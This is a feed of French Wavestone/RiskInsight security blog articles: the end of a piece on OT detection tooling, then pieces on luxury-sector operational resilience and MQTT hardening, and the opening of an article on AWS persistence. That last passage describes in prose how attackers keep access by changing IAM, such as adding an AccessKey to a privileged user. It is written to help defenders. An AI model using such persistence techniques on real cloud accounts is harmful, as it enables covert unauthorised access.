• Défis liés aux capacités et aux ressources du réseau des sites industriels : Le déploiement des sondes OT présente souvent des défis significatifs en raison des limites de l’infrastructure réseau industrielle. Les taps réseau et les ports SPAN sur les commutateurs, couramment utilisés pour la surveillance du trafic, ne sont pas toujours manageables ou disponibles dans les environnements OT, ce qui limite les options de capture de trafic passif. De plus, les coûts associés à l’installation de taps réseau peuvent être prohibitifs. Enfin, le déploiement et la maintenance des sondes exigent des ressources qualifiées sur place.
• Défis liés à la sélection des points d’écoute : Les sondes OT collectent et corrèlent l’information via la capture de trafic réseau. Pour être efficace, leur déploiement nécessite une sélection minutieuse des points d’écoute en fonction des cibles visées. Les points d’écoute doivent être adaptés à l’architecture de chaque site, un processus souvent limité par les connaissances des équipes locales et le manque de documentation. De plus, comme les environnements industriels varient d’un site à l’autre au sein d’une même organisation, il est très difficile d’établir un standard unique. Par conséquent, la sélection et la configuration des points d’écoute constituent un processus répétitif et itératif qui doit être ajusté pour chaque déploiement afin de garantir une visibilité et des capacités de détection optimales.

Au-delà du déploiement, l’exploitation de ces sondes s’accompagne également de défis et exige une charge de travail significative. Elles ont tendance à générer un nombre élevé de faux positifs, ce qui oblige les équipes à créer des règles de détection et des playbooks sur mesure pour filtrer et répondre efficacement aux alertes. En moyenne, nous estimons qu’un analyste SOC à temps plein est requis pour gérer les alertes générées par 50 sondes.

En conclusion, bien que les sondes OT soient populaires, les coûts et les ressources nécessaires à leur déploiement et à leur exploitation limitent leur pleine utilisation. Notre recommandation est de prioriser le déploiement des sondes OT sur les sites critiques ou au sein des segments réseau clés qui exigent des capacités avancées de surveillance industrielle. Cette approche ciblée permet de maximiser le retour sur investissement tout en garantissant une détection efficace là où elle est essentielle pour nos clients.

Envisager d’autres solutions ?

Concernant la détection pour le périmètre industriel, bien que cet article se concentre sur des sources clés comme les solutions EDR et les sondes réseau OT, il est important de reconnaître que d’autres solutions, telles que les technologies de leurre comme les honeypots, peuvent également jouer un rôle précieux et être pertinentes dans des scénarios ou environnements spécifiques, en fonction de l’architecture de vos sites industriels ou des scénarios de compromission redoutés.

Conclusion

Pour conclure, voici les recommandations clés pour élaborer une stratégie d’outillage de détection efficace pour mettre sous surveillance des environnements industriels :

1. Tirez parti des outils existants pour un impact immédiat

Commencez par maximiser la valeur des sources de détection déjà disponibles dans votre environnement industriel : logs de pare-feu, EDR, Active Directory, logs d’accès distant, etc. L’adaptation à l’OT des patterns de détection IT éprouvés permet aux organisations d’atteindre rapidement un niveau de visibilité de base sans nécessiter d’investissements lourds. Cette première approche garantie un déploiement plus rapide et une couverture plus large de vos assets industriels.

2. Déployer des solutions avancées là où elles sont pertinentes

Lorsque vous étendez vos capacités de détection, donnez la priorité au déploiement d’outils avancés tels que les sondes réseau OT là où ils apportent le plus de valeur. Pour les sondes réseau, concentrez-vous sur les sites ou segments critiques et sélectionnez soigneusement les points d’écoute afin d’optimiser la visibilité, le coût et les frais généraux opérationnels. Cette approche de déploiement ciblée garantit une utilisation efficace et stratégique des ressources.

3. Prioriser la qualité et la pertinence plutôt que la quantité

Pour élaborer une stratégie de détection OT efficace, il n’est pas nécessaire d’écouter toutes les sources de données possibles. Concentrez-vous plutôt sur les sources qui sont à la fois pertinentes pour votre environnement et techniquement exploitables, sans perturber les opérations. Cette approche permet de réduire les coûts de stockage et de gestion des journaux et de créer des règles de détection pertinentes et de meilleure qualité.  

N’hésitez pas à nous contacter pour discuter de la manière dont vous pouvez élaborer et améliorer votre stratégie de détection pour surveiller vos actifs industriels !

Dans notre prochain article, nous examinerons comment évaluer la détection en environnements industriels en utilisant des exercices de purple team, une méthode pratique pour évaluer et améliorer vos capacités de détection.

Cet article ​​Stratégie d’outillage cybersécurité pour une détection industrielle efficace​ est apparu en premier sur RiskInsight.

Le marché du luxe ne cesse de se développer au niveau mondial et devrait représenter 2500 milliards d’euros en 2030[1]. La santé de ce secteur a dès lors une influence de plus en plus importante sur l’économie. C’est d’autant plus vrai pour la France, où le secteur est bien représenté dans le CAC 40[2]. Ainsi, dans cette machine constituée de cuir et de soie, un grain de sable est susceptible de coûter des dizaines de millions d’euros, mais aussi d’impacter durablement l’image de ces entreprises. Or, les facteurs de risques sont multiples.

Comme tous les secteurs, le luxe est impacté par l’instabilité géopolitique et le réchauffement climatique : d’une part, en raison de la forte internationalisation de sa chaîne de valeur (en 2023, les entreprises françaises du luxe ont exporté pour 50,6 milliards d’euros[3]), d’autre part, du fait de sa forte dépendance en ressources naturelles de qualité, notamment les cuirs, textiles, et minerais.

Ces dernières années, les entreprises du luxe ont fortement accéléré la digitalisation de leurs processus métier, depuis la fabrication jusqu’à la vente. Leurs fonctions critiques reposent donc de plus en plus sur des actifs exposés aux incidents informatiques, issus ou non de cyberattaques. En particulier, le recours croissant à l’IA et l’IoT est un différenciateur fort d’un point de vue métier, mais augmente également la surface d’exposition à des risques technologiques encore partiellement identifiés et atténuables du fait de leur nouveauté.

Dès lors, le secteur se retrouve confronté à une problématique clef : comment assurer sa pérennité dans un contexte de menace croissante ? En réaction, un concept fondamental s’impose dans les grandes Maisons, celui de la résilience opérationnelle. Quel est l’état de l’art du secteur du luxe sur la résilience opérationnelle ? Quels sont les dispositifs déployés par les maisons du luxe pour assurer la résilience de leurs activités critiques ?

La résilience opérationnelle appliquée au luxe 

Les Armées ont été parmi les premières à s’approprier le concept de résilience opérationnelle, en le définissant comme « l’aptitude à affronter les conséquences d’une crise traumatique et rebondir, en agissant avec efficacité en dépit d’un environnement dégradé et des préjudices humains, organisationnels et techniques qu’elles [les Armées, ndlr] auraient elles-mêmes subies »[4].

Si cette définition présente une forte teinte militaire, il en ressort toutefois un objectif pouvant être visé par toute organisation : être apte à affronter des perturbations majeures et à rebondir. Ainsi, aujourd’hui la résilience opérationnelle a commencé à pénétrer l’ensemble des secteurs d’activité, de l’énergie à la santé, en passant par le luxe. Cet état de fait a été notamment favorisé par l’accroissement des réglementations et des normes consacrées à la résilience opérationnelle, tout particulièrement dans le secteur financier (DORA, Solvabilité II, PCI DSS…).

Chez Wavestone nous considérons que la résilience opérationnelle est structurée autour de 7 grands piliers. Ceux-ci sont inspirés de l’état de l’art, en premier lieu la norme ISO 22301[5], mais également les normes européennes. Le secteur du luxe est tout à fait approprié à l’édification de ces piliers, à partir du moment où l’on prend en compte ses spécificités.

Pilier 1 : La connaissance des activités vitales et de leurs actifs les supportant 

Cela consiste à identifier et améliorer la connaissance de ce qui doit devenir résilient, parmi l’ensemble des processus métier et actifs de l’entité. Pour ce faire, 2 approches existent :

• Une approche exhaustive, basée sur la réalisation d’un Business Impact Assessment (BIA) sur l’ensemble des processus de l’organisation, permettant d’avoir une vision globale des activités et donc de connaitre les processus vitaux et les actifs les soutenant (infrastructures IT, applications, ateliers…). Cependant, cette approche est particulièrement chronophage et une telle exhaustivité n’a pas forcément une grande valeur ajoutée dans la mise en place d’une stratégie de résilience efficiente ;
• Une approche pragmatique, basée sur une analyse d’impact limitée aux processus vitaux de l’organisation, identifiés en amont par le top management. C’est une approche plus rapide et à plus forte valeur ajoutée, permettant de se focaliser dès le début sur l’analyse des processus reconnus comme vitaux par les métiers, puis de remonter vers les applications et les infrastructures qui les soutiennent.

Cette cartographie est un point de départ essentiel pour concentrer les efforts sur ce qui est réellement important pour l’entité. Dans le secteur du luxe, il nous semble important d’être particulièrement attentif aux catégories d’actifs suivantes : les ressources humaines pouvant détenir des savoir-faire rares, les matières premières, les outils de fabrication, les actifs liés à la logistique et au paiement.

Pilier 2 : La maîtrise des risques

L’objectif est d’adapter les mesures de résilience opérationnelle au profil de risque de l’entité, c’est-à-dire en concentrant les efforts en prévention des scénarios de risques les plus impactant et les plus vraisemblables.

Dans le secteur du luxe, il nous semble utile de prendre en compte l’ensemble des risques susceptibles d’affecter l’activité de l’entité, notamment les risques liés à l’instabilité géopolitique, au réchauffement climatique et à l’IT/OT, qui impacteraient l’approvisionnement en matières premières rares, la production et la distribution.

Pilier 3 : La mise en place et l’amélioration continue des solutions de continuité 

Cela consiste à mettre en place les mesures pertinentes de résilience, au travers notamment de plans de continuité d’activité prenant en compte les risques identifiés et se concentrant sur les activités vitales.

Dans le secteur du luxe, il nous semble utile de définir ces mesures avec les métiers, d’une manière pragmatique et qui va à l’essentiel. L’idée étant que les mesures de résilience se fondent dans les processus métier en permettant d’améliorer leur qualité, tout en évitant qu’elles ne soient perçues comme une nouvelle contrainte.

De plus, les métiers du luxe sont bien souvent des artisans, seuls détenteurs de la vision claire de leurs processus (autrement dit, leur art). La résilience de leur métier repose en bonne partie sur eux. Une approche intéressante serait ainsi d’inverser la méthode habituellement utilisée : ne pas formaliser une procédure de continuité puis la tester, mais plutôt mettre en place un exercice/test auprès des métiers afin de formaliser une procédure à partir des bonnes pratiques qu’ils mettraient naturellement en place.

Pilier 4 : La gestion de ses tiers

L’objectif est de suffisamment connaître les tiers impliqués dans les activités vitales de l’entité et de s’assurer qu’ils ne constituent pas un obstacle à leur résilience.

Dans le secteur du luxe, la nature des tiers présente des spécificités à prendre en compte. D’une part, ce sont souvent des artisans ou des TPE qui n’ont pas travaillé sur leur propre résilience. D’autre part, certains tiers sont les seuls à proposer le niveau de qualité recherché par la Maison de luxe, ce qui est susceptible de placer ces dernières en situation de dépendance. Une réflexion est donc nécessaire afin de co-construire des solutions de résilience avec ces tiers, notamment à travers des exercices de gestion de crise.

Pilier 5 : La capacité à gérer une crise 

Cela consiste à mettre en place un dispositif permettant la gestion des crises de toute nature, susceptibles de survenir et que l’entité devra « affronter » : IT, cyber, sûreté et métier.

Les entités du secteur luxe, de par leur caractère « manufacturing », disposent souvent de nombreux sites éloignés géographiquement, accueillant des métiers variés.  Ces éléments doivent être pris en compte pour adapter le dispositif de gestion de crise et la réalisation d’exercices pertinents.

Pilier 6 : La résilience du SI

Compte tenu de son rôle central et de la complexité technique qu’il implique, le système d’information nécessite une vigilance particulière afin d’être suffisamment protégé contre les menaces et de garantir la continuité de ses services vitaux, même en situation dégradée.

Dans le secteur du luxe, où la digitalisation des processus demeure relativement récente, voire encore en cours, se dessine une opportunité stratégique majeure : celle d’intégrer les enjeux de résilience dès la phase de conception.

Pilier 7 : L’existence d’une gouvernance et d’une culture de résilience

Au cœur de la démarche, l’élaboration d’une stratégie de résilience opérationnelle s’impose, sous la conduite de responsables clairement identifiés.

Il est tout aussi essentiel de capitaliser sur la culture d’entreprise propre à chaque maison du luxe — véritable levier d’engagement des collaborateurs — en y intégrant progressivement une culture de la résilience.

L’état de la résilience opérationnelle dans le secteur du luxe

Pour établir cet état des lieux, nous nous sommes appuyés sur les résultats de notre CyberBenchmark et de notre OpResBenchmark. Ces deux outils permettent respectivement d’évaluer le niveau de maturité des entités en matière de cybersécurité et de résilience opérationnelle des entités, tout en les positionnant par rapport au reste du marché.

La combinaison de ces deux outils nous a permis de consolider les données issues de l’évaluation de plus de 150 entités, dont un nombre significatif du secteur luxe. Ces éléments nous permettent de proposer la vue ci-dessous, qui illustre le niveau de maturité du secteur sur l’ensemble des 7 piliers de la résilience opérationnelle.

D’après les données 2025 du Cyberbenchmark et de l’OpRes Benchmark de Wavestone

À la lecture de ces données, le constat le plus évident s’effectue au niveau de la moyenne du marché[6] (47,5%) : les entités, tous secteurs confondus, se révèlent peu résilientes. Mais des fortes disparités existent en fonction notamment du niveau de réglementation des différents secteurs. Tout naturellement, la finance, en pleine mise en conformité à DORA (Digital Operational Resilience Act), a un très bon niveau de maturité sur l’ensemble des piliers. De son côté, le secteur de l’énergie, réglementé lui aussi, doit prendre en compte des systèmes industriels complexes et de lourds infrastructures historiques, compliquant sa résilience opérationnelle.

Le contexte de ces 5 dernières années, particulièrement éprouvant pour la continuité des entités (COVID-19, conflits armés, croissance de la menace cyber, etc.), ainsi que la consécration du concept de résilience opérationnelle dans plusieurs textes réglementaires (ex : DORA, CER, CRA, NIS 2) semble inverser la tendance. Nous voyons de plus en plus d’entités prendre conscience de l’importance de la résilience opérationnelle et commencer à lancer des chantiers conséquents pour adresser le sujet.

En termes de maturité, le secteur du luxe fait partie de ceux qui se démarquent avec une moyenne de 53,4%. Même s’il n’est pas directement visé par la règlementation, nous avons remarqué une prise en main du sujet, notamment par les CISO des Maisons de luxe qui ont initié de nombreux chantiers liés à la résilience. Habitué à la recherche d’excellence, le luxe s’empare donc du sujet même s’il n’y est pas contraint, convaincu qu’il s’agit d’un enjeu d’avenir pour lui. Cette position semble même lui permettre de tirer parti des bonnes pratiques consacrées par la règlementation, en allant à l’essentiel, sans se préoccuper des contraintes liées à la conformité et aux contrôles menés par les autorités (reporting d’incident, préparation des audits, partage de preuves…).

En pratique, cela se traduit par une avance du secteur sur la résilience opérationnelle par rapport à un certain nombre d’autres secteurs d’activité non régulés, même si on reste aux débuts de l’histoire.

Sur la gestion de crise et la résilience SI

Les conséquences d’une crise mal maîtrisée sont souvent majeures, tant sur le plan financier, juridique que réputationnel. On peut aisément imaginer pour une maison de luxe, l’impact d’une incapacité à encaisser les clients ou d’un incendie affectant un entrepôt de matières premières. Le luxe s’est ainsi structuré depuis longtemps pour gérer les crises auxquelles il est confronté.

Or, ces crises trouvent désormais très fréquemment leur origine dans des incidents touchant les systèmes d’information.

En 2022, 62 % des entreprises du secteur du luxe ont été victimes de rançongiciels, engendrant des pertes financières moyennes de l’ordre de cinq millions d’euros par incident. Parallèlement, les données volées circulent de plus en plus sur le Dark Web. Selon Dark Web Monitor, les annonces proposant des informations sensibles – plans de produits à venir, stratégies marketing confidentielles – ont augmenté de 78 %. À titre d’exemple, en 2022, la maison italienne Moncler a subi un vol de données, avec une demande de rançon de trois millions de dollars visant à empêcher la divulgation d’informations relatives à ses clients les plus aisés[7].

La gestion de crise repose ainsi largement sur les dispositifs de résilience informatique, qui matérialisent les décisions prises au sein de la cellule de crise. Ces dispositifs incluent notamment les sauvegardes, le blocage des flux, ou encore les solutions de contournement. Par ailleurs, ils jouent un rôle primordial dans la prévention et la détection des incidents, grâce à des outils tels que les EDR, sondes IDS et IPS, le déploiement automatisé de correctifs et les tests réguliers des configurations.

Sur la gestion des risques liés aux tiers

La maturité du secteur sur ce pilier s’explique notamment par la conscience historique des entreprises du luxe quant à la criticité de leurs chaînes de valeur, tant en amont (approvisionnement en cuir, soie, pierres précieuses…) qu’en aval (distribution des produits finis). Ces chaînes de valeur impliquent de nombreux prestataires externes – extraction, transport maritime ou routier, hubs logistiques – dont une défaillance peut entraîner des conséquences commerciales majeures.

Parmi les fournisseurs des grandes maisons de luxe, on retrouve fréquemment de petites entreprises artisanales, détentrices de savoir-faire rares et difficilement substituables. À première vue, leur petite taille pourrait faire craindre une faible maturité en matière de gestion des risques. Cependant, du fait de leur valeur stratégique, ces artisans sont l’objet d’une attention particulière. Les maisons de luxe adoptent une approche collaborative pour les accompagner dans la gestion de leurs risques, y compris dans le domaine IT, bien que l’informatique reste souvent limitée dans ces structures artisanales. Cette collaboration se manifeste par des audits réguliers, le partage de bonnes pratiques, et dans certains cas, des acquisitions permettant une intégration complète et une montée en maturité selon les standards de la Maison de luxe.

Sur la connaissance des activités et actifs vitaux

Ce pilier de connaissance est particulièrement complexe à bien maitriser pour les entités du luxe qui sont généralement divisées en maisons/entités aux métiers très différents, parfois réparties sur plusieurs continents. Cette structure donne une autonomie certaine aux différents métiers, et est susceptible de compliquer le bon partage d’informations avec les équipes en charge de la résilience au niveau groupe.

Sur la gouvernance et l’acculturation résilience

Ce pilier est le moins bien maitrisé par le secteur. Le luxe est même légèrement au-dessous de la moyenne du marché. En effet, les rôles et responsabilités sont rarement correctement définis et une comitologie commune est inexistante. Ainsi, plusieurs projets similaires sont susceptibles de se concurrencer, ou d’être traités de manière incomplète (ex : d’un point de vue IT sans considération de BIA réalisés par les métiers).

Nos recommandations pour améliorer la résilience opérationnelle du luxe

Wavestone accompagne plusieurs entités, de tous secteurs, dans leur démarche de résilience opérationnelle. Prenant en compte les spécificités du luxe évoquées précédemment, nous identifions 4 recommandations.

S’inspirer, en restant pragmatique, des règlementations (DORA, CER, NIS 2, Solvabilité 2, LPM, etc.) : le luxe n’y est pas directement soumis, pourtant il est pertinent d’en tirer parti en les considérant comme des référentiels de bonnes pratiques. Avec DORA, le secteur financier avance rapidement sur le sujet et son retour d’expérience peut être utile au secteur du luxe. Il convient, bien entendu, de rester pragmatique et ne retenir que les mesures pertinentes au regard de l’entité du luxe concernée et de ses spécificités. Il s’agit en particulier d’éviter de surcharger les métiers avec les exigences purement réglementaires, qui ont surtout vocation à permettre aux autorités de contrôle de remplir leur rôle.

Tester et tirer des leçons : les tests sont une composante essentielle d’une stratégie de résilience opérationnelle. C’est par les tests qu’il est possible de mesurer l’efficacité d’une solution de continuité (PCA, PRA, outils de gestion de crise, etc.) pour en tirer des leçons et les améliorer en continu. Notamment, les tests de pénétration fondés sur la menace (décrits notamment dans DORA et dans le framework TIBER-EU), permettent de tester de bout en bout des équipes opérationnelles, en incluant les tiers, et peuvent, à ce titre être riches en enseignements en dehors du secteur financier. 

Disposer d’une stratégie au niveau Groupe :  elle permet d’éviter la prise d’initiatives contradictoires au niveau des entités et/ou entre les équipes IT/Cyber et les métiers, mais aussi gagner en efficience. En outre, cette stratégie permet de fixer un niveau de maturité cible, adapté aux besoins propres de chaque entité.

Capitaliser sur l’existant : en raison de ses spécificités, les entités du luxe sont susceptibles d’avoir mis en place des solutions de continuité, et/ou des comitologies adaptées à la résilience opérationnelle (gestion des tiers, de crise, chantiers de cybersécurité, etc.). Il convient de ne pas repartir d’une feuille blanche mais au contraire de capitaliser sur cet existant pour engager une démarche sur-mesure.

[1] Luxury in Transition: Securing Future Growth, Bain & Company.

[2] CAC 40, premier indice boursier français.

[3] Le luxe français : pourquoi ce secteur déjoue toutes les crises, La Fabrique de l’industrie

[4] Doctrine interarmées, DIA-3.4.1_RESILIENCE, N° 23/ARM/CICDE/NP du 08 février 2022.

[5] Cette norme détaille les caractéristiques d’un « système de management de la continuité d’activité ».

[6] Le marché est constitué de l’ensemble des organisations ayant sollicité Wavestone pour évaluer leur maturité (+150 ces 5 dernières années).

[7] À quels enjeux de cybersécurité les grands noms du luxe sont-ils confrontés ?, L’Usine Digitale

Cet article La résilience opérationnelle dans le secteur du luxe est apparu en premier sur RiskInsight.

En 2024, on estimait le nombre d’appareils IoT connectés dans le monde à environ 18 milliards, soit plus de deux fois la population mondiale. Des alarmes connectées aux ascenseurs intelligents, en passant par les capteurs industriels ou les dispositifs médicaux, ces technologies rythment désormais notre quotidien. 

Les récentes avancées dans le domaine de l’IoT ont transformé la façon dont nous interagissons avec les objets connectés. Conçus pour être intuitifs, ils sont accessibles sans expertise spécifique. Les connexions entre ces derniers, souvent sans fil, passent presqu’inaperçues aux yeux des utilisateurs. Pourtant, derrière cette apparente simplicité se cachent des protocoles de communication élaborés dont MQTT fait partie.   

En raison de sa popularité et de sa présence croissante au sein d’opérations sensibles, MQTT fait depuis plusieurs années l’objet de recherches quant aux risques liés à son utilisation. Nous nous intéresserons ici à son fonctionnement, ses vulnérabilités potentielles ainsi qu’aux bonnes pratiques permettant d’assurer la sécurité des communications. 

MQTT et les raisons de sa popularité 

Les forces de ce protocole 

Développé en 1999 par Andy Stanford-Clark (IBM) et Arlen Nipper (Arcom), l’objectif derrière la conception de MQTT était de fournir une solution légère, efficace, avec une faible consommation d’énergie et de bande passante pour surveiller des oléoducs isolés dans le désert par le biais d’une liaison satellitaire. 

Si MQTT s’est aujourd’hui établi comme une référence pour la transmission de données IoT, c’est précisément pour ces propriétés fondamentales. Ce protocole est par ailleurs fréquemment utilisé pour la remontée de données provenant de capteurs ou d’objets connectés vers des plateformes Cloud. 

Figure 1 – Caractéristiques principales de MQTT 

Son fonctionnement

Définitions des termes clés 

Client MQTT : Un dispositif échangeant des informations. 

Broker MQTT : Une entité intermédiaire permettant à des clients MQTT de communiquer et par laquelle tous les messages MQTT transitent. En particulier, le broker reçoit les messages publiés et les distribue aux destinataires concernés (les abonnés au topic correspondant). 

Topic : Une chaine de caractères permettant de filtrer et d’organiser les messages selon une structure hiérarchique. Lorsqu’un client publie un message, il l’associe à un topic. 

Publish/Subscribe : Modèle dérivé du Client/Serveur classique pour lequel les demandes ne sont pas initiées par un client demandant des ressources à un serveur mais par un serveur envoyant régulièrement des mises à jour à des clients sans sollicitation active. 

MQTT est un protocole de communication « Machine à Machine » ou M2M qui opère selon un modèle Publish/Subscribe ce qui permet une grande souplesse dans son implémentation. 

Les clients MQTT peuvent endosser le rôle de publisher, subscriber ou les deux.   

Afin de recevoir les informations dont ils ont besoin, les subscribers s’abonnent à des rubriques ou topics (1), généralement organisés de manière hiérarchique au sein du broker (ex. Maison/Chambre/…). Dès lors qu’un publisher aura émis un message destiné aux abonnés de ce topic (2), ils seront notifiés par le broker (3).    

De ce fait, les clients MQTT ne sont pas contraints de partager un même réseau, ni d’être actifs au même moment et ne nécessitent pas de synchronisation entre eux.  

Figure 2 – Illustration d’une architecture MQTT simplifiée 

Par ailleurs, MQTT propose un mécanisme de « Qualité de Service » de ses messages permettant d’adapter les communications aux exigences de l’application. Il est ainsi capable, par exemple, de garantir la livraison des messages en cas de connexion instable. Les clients MQTT peuvent sélectionner un niveau parmi trois de « QoS » pour la distribution de leurs messages : 

• QoS 0 « Au plus une fois » – Le message sera distribué une fois ou pas distribué du tout, sans accusé de réception. 
• QoS 1 « Au moins une fois » – Le message sera distribué périodiquement tant que l’expéditeur n’aura pas reçu d’accusé de réception. 
• QoS 2 « Une seule fois » – Le message est garanti d’être distribué et une seule fois. 

Le niveau de « QoS » choisi a également une incidence sur la durée de stockage du message localement auprès de l’expéditeur et du destinataire. 

Cette architecture permet d’établir des communications décentralisées et extensibles (scalable). Ces caractéristiques s’avèrent particulièrement avantageuses dans le domaine de l’IoT où la flexibilité est essentielle pour répondre à la diversité des cas d’usage. Elles expliquent également pourquoi MQTT dépasse largement le cadre de l’IoT et trouve des applications dans de nombreux autres environnements tels que la télémétrie et la surveillance industrielle. 

MQTT est-il vulnérable ? 

A l’instar de nombreux autres protocoles de communication, MQTT n’est pas sécurisé par défaut. Bien que la plupart de ses implémentations intègrent à présent des solutions de sécurité robustes, certaines faiblesses et erreurs de configurations persistent, rendant les systèmes vulnérables. 

Pour souligner ces notions, nous nous intéresserons à un exemple standard d’utilisation de ce protocole en milieu industriel. 

Figure 3 – Illustration d’un exemple d’utilisation industrielle de MQTT 

Dans ce scénario, tous les systèmes représentés contiennent un client MQTT permettant de souscrire ou de s’abonner à des topics et de communiquer avec le broker « on-premise ». Les communications MQTT ne sont pas chiffrées et il n’y aucune authentification du broker ou des clients, laissant la possibilité à un attaquant d’accéder aux données de production échangées en clair ou de transmettre des ordres aux équipements en usurpant l’identité du broker ou de l’un de ces clients. 

Comment se protéger ? 

Pour se protéger efficacement contre ces risques, le broker et les clients MQTT doivent être déployés et configurés avec vigilance. Nous proposons ici différentes étapes de sécurisation afin d’assurer la confidentialité, l’intégrité, l’authenticité et la disponibilité des communications de bout en bout. 

Sécurisation du broker MQTT 

Activation du chiffrement par défaut des communications 

Lorsque le port 8883 est l’unique port MQTT défini, les tentatives de communication non-chiffrées sur le broker sont rejetées. Par ailleurs, il est essentiel que le broker ait accès à un certificat ainsi qu’une clé privée valides et que la suite cryptographique utilisée soit sécurisée (par exemple TLS 1.2 ou 1.3).  

Figure 4 – Activation du chiffrement sur un broker MQTT Mosquitto par le biais d’un fichier de configuration 

De nombreux dispositifs IoT ont une faible capacité de calcul et peu de ressources, ajouter des mécanismes tels que TLS peut représenter une surcharge importante. 

Mise en place d’une authentification des clients et d’un contrôle de leurs droits d’accès 

MQTT permet l’authentification des clients se connectant à un broker, via des méthodes courantes telles que l’utilisation d’un nom d’utilisateur et d’un mot de passe (avec un fichier de mot de passe associé) et la vérification du certificat du client, validé par une autorité de certification (le broker devant disposer du certificat de cette autorité). Certains brokers permettent également l’utilisation de solutions d’authentification externes. 

Afin de restreindre l’abonnement ou la publication sur certains topics par les clients, une logique d’Access Control List ou ACL peut être ajoutée.

Figure 5 – Ajout d’une authentification par certificat et mot de passe avec un contrôle d’accès sur un broker MQTT Mosquitto 

Une gestion rigoureuse des topics est essentielle pour prévenir les fuites de données et limiter les risques de compromission du broker. L’utilisation des wildcards # et + doit être attentivement surveillée, car une configuration trop permissive permettrait à un attaquant d’accéder à tous les échanges en cours. 

Déploiement de mesures de protection du broker  

Une rapide recherche sur le moteur Shodan révèle l’exposition de milliers de brokers MQTT sur Internet souvent laissés dans leur configuration par défaut, dont les utilisateurs ignorent l’existence ou les implications. Il est donc primordial de protéger le broker de menaces à la fois internes et externes en appliquant de bonnes pratiques de sécurité, telles que la mise à jour régulière du système ou la restriction du nombre de requêtes et connexions simultanées, pour prévenir les attaques par déni de service et garantir sa disponibilité. 

Sécurisation des clients MQTT 

Activation du chiffrement des communications 

Afin de se connecter sur le broker, les clients devront utiliser le port 8883 et posséder un certificat ainsi qu’une clé privée valides auquel cas la connexion sera rejetée.   

Figure 6 – Connexion chiffrée sur un client MQTT Paho 

L’utilisation de certificats auto-signés pour la connexion au broker est fortement déconseillée car ces derniers peuvent être facilement substitués. 

Mise en place d’une authentification du broker (authentification mutuelle) 

En plus de l’authentification des clients, MQTT permet l’authentification du broker via la vérification de l’autorité de certification ayant signé son certificat, assurant ainsi une authentification mutuelle (mTLS) et la sécurité des communications. 

Figure 7 – Authentification du broker sur un client MQTT Paho 

Déploiement de mesures de protection du client 

En cas de compromission d’un client MQTT, un attaquant pourrait accéder à des nombreuses informations en fonction de la configuration du broker ciblé. C’est pourquoi les clients et leurs secrets doivent aussi être protégés par l’application de bonnes pratiques de sécurité sur la machine hôte du client et sur le contenu des échanges (ajout de mécanismes anti-rejeu sur les requêtes par exemple).  

Quel futur pour MQTT ? 

Malgré sa maturité, MQTT demeure un protocole en évolution et intègre progressivement des fonctionnalités innovantes afin de répondre aux exigences croissantes des environnements connectés. Dans un contexte où la demande pour des communications fiables, sécurisées et à faible consommation d’énergie ne cesse d’augmenter, il est vraisemblable que les cas d’utilisation de MQTT continueront de se multiplier au cours des années à venir.

Cet article La sécurité du protocole MQTT est apparu en premier sur RiskInsight.

Au cours de la dernière décennie, les infrastructures cloud telles qu’Amazon Web Services (AWS) ont été de plus en plus utilisées pour héberger des infrastructures critiques, gérer des données sensibles et garantir une évolutivité globale. La transition vers des architectures hybrides et cloud-native a profondément modifié les méthodes de déploiement, de sécurisation et de surveillance des infrastructures.

Cependant, à mesure que l’adoption du cloud s’accélère, ses fonctionnalités et sa complexité introduisent de nouveaux défis liés à la sécurisation de ces environnements. Bien que les fournisseurs de services cloud proposent plusieurs mécanismes de sécurité, tels que le contrôle d’accès discrétionnaire et des systèmes de journalisation, de nombreuses organisations peinent encore à mettre en œuvre des stratégies de sécurité efficaces, en raison de la nouveauté de ces environnements. Parmi les erreurs de configuration les plus courantes figurent les mauvaises configurations des rôles IAM, les politiques trop permissives, les identifiants exposés et le manque de visibilité sur les activités cloud-native, qui sont donc autant de failles que les attaquants peuvent exploiter.

Lorsqu’un attaquant obtient un accès initial à un environnement cloud, que ce soit par opportunisme ou par exploitation active, l’action la plus courante après la compromission initiale et l’escalade de privilèges consiste à mettre en place des mécanismes de persistance d’accès dans l’environnement.

Contrairement aux réseaux traditionnels sur site, les environnements cloud offrent une multitude de services et failles de configuration qui peuvent être exploitées pour maintenir un accès à long terme, même après le début des actions correctives.

Dans cet article, nous explorerons le concept de persistance d’accès dans AWS, en analysant les techniques que les adversaires peuvent utiliser pour dissimuler leur présence au sein d’un environnement cloud.

Tout au long de cette article, les fonctionnalités d’un outil dédié, conçu pour simplifier et automatiser le déploiement de techniques de persistance dans les environnements AWS, seront présentées.

Persistance sur AWS

Persistance IAM

Dans le contexte d’AWS, l’Identity and Access Management (IAM) constitue la pierre angulaire de la sécurité. Elle régit les actions que chaque entité peut effectuer dans l’environnement en définissant des rôles, des utilisateurs, des groupes et les politiques associées qui déterminent l’accès aux ressources : si une action ne vous a pas été explicitement autorisée, vous ne pourrez pas l’exécuter.

Globalement, l’IAM fonctionne en associant des identités (comme les utilisateurs ou rôles IAM) à des politiques, qui sont des documents JSON décrivant les privilèges d’un objet IAM sur une ressource.

Ces politiques sont extrêmement granulaires et prennent en charge des conditions telles que les restrictions d’adresse IP, l’authentification multifacteur (MFA) ou l’accès limité durant certaines plages horaires. Les configurations IAM ne se limitent pas à des contrôles d’accès : elles font partie intégrante de l’infrastructure elle-même.

L’IAM est devenu un vecteur puissant de persistance d’accès et, contrairement à un environnement sur site, un attaquant disposant de privilèges suffisants n’a pas besoin de déposer des binaires ou d’exécuter des logiciels malveillants pour maintenir son accès à l’environnement. Il peut simplement modifier les politiques IAM, créer de nouveaux utilisateurs, attribuer des permissions malveillantes à des rôles existants ou compromettre des identités de confiance.

Ce qui rend la persistance basée sur l’IAM particulièrement dangereuse, c’est sa discrétion et sa durabilité. En effet, les modifications apportées à IAM se fondent souvent dans les activités administratives légitimes, ce qui les rend difficiles à détecter. Si l’environnement n’est pas correctement maintenu ou régulièrement audité, identifier une politique malveillante revient à chercher une aiguille dans une botte de foin.

Dans cette section, nous explorerons les techniques courantes et moins connues que les attaquants peuvent utiliser pour établir une persistance d’accès en modifiant les configurations IAM. Nous analyserons des exemples concrets et mettrons en évidence les indicateurs que les équipes de défense doivent surveiller afin de détecter et de répondre à ces tactiques souvent négligées.

AccessKey

Attaque

La technique de persistance la plus élémentaire consiste à ajouter une AccessKey à un utilisateur.

Sur AWS, les utilisateurs peuvent se connecter via l’interface en ligne de commande (CLI) en utilisant une AccessKey. La méthode la plus simple pour établir une persistance consiste à déployer une AccessKey sur un utilisateur disposant de privilèges élevés.

Une fois la clé créée pour cet utilisateur, l’attaquant peut accéder à AWS via l’interface en ligne de commande avec les privilèges de l’utilisateur.

